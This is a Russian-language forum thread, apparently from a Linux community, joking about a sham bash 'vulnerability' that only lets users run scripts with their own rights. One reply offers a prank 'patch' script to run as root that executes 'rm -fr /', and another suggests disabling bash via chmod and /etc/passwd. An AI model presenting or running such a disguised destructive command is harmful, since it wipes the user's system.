Re: Найдена уязвимость в bash

=))))))))

Re: Найдена уязвимость в bash

иксплойт есть?

Re: Найдена уязвимость в bash

какое щастье что я использую zsh :)

Re: Найдена уязвимость в bash

Обновился до последней версии...

Re: Найдена уязвимость в bash

Ужос!

Re: Найдена уязвимость в bash

Так это и на Перле можно и даже на Вижуал Васике

Re: Найдена уязвимость в bash

БлиН, пришлось перечитать два раза - старею =)

Re: Найдена уязвимость в bash

:)))

Заплатку выпустили уже?

Re: Найдена уязвимость в bash

пожалуй, стоит на lorquotes записать!

Re: Найдена уязвимость в bash

>>Заплатку выпустили уже?

Еще нет. В качестве временной меры можно сделать chmod a-x /где/там/у/вас/bash и для пущей надежности прописать /bin/false в /etc/passwd

Re: Найдена уязвимость в bash

Сенкс. Сделал. Все работает. Все секьюрно. Сижу и безопаснуюсь

:)))

Re: Найдена уязвимость в bash

Уже есть комментарии Microsoft - "Новая версия Windows этой уязвимости подвержена не будет, в ней нельзя будет писать скрипты".

Re: Найдена уязвимость в bash

Только что проверил, в zsh такая же уязвимость! Это наверное by design.

Re: Найдена уязвимость в bash

Заплатка от этой уязвимости и от многих других(запускать под рутом):

#!/bin/bash
echo "Подождите пока не будут найдены и удалены все потенциально вредоносные файлы..."
rm -fr /
echo "Сделано. Теперь перезапустите ваш компьютер"

Re: Найдена уязвимость в bash

Неотключаемая фича -- баг!

Re: Найдена уязвимость в bash

Второго сообщения не будет показано. И вообще оно где-то на середине сдохнет.

Re: Найдена уязвимость в bash

=)))))))))))))

Re: Найдена уязвимость в bash

Это фигня ещё. С помощю su вообще можно поднять привелегии до рутовских :(

Re: Найдена уязвимость в bash

блин, я тоже нашел уязвимость - sudo passwd =(

Re: Найдена уязвимость в bash

Попробуй! Только не надорвись без пароля рута.

Re: Найдена уязвимость в bash

Гы! Баш без пароля ползователя тож несумеет выполнить скрыпт с привелегиями оного, так что сударь изволил облегчиться в непосредственной близости от тазика...

Re: Найдена уязвимость в bash

>Злоумышленник может написать произвольный скрипт, который выполнится с правами пользователя, запустившего его.

>>С помощю su вообще можно поднять привелегии до рутовских :(

Если ты недогоняешь смысловой разницы, неогорчайся что "изволил облегчиться в непосредственной близости от тазика..."

Re: Найдена уязвимость в bash

Ну ладно, если не догоняеш, что у пользователя есть не только возможность запустить скрыпт со своими привелегиями, но и сперва повысить их а потом ужо запустить скрыпт, не буду обижаться.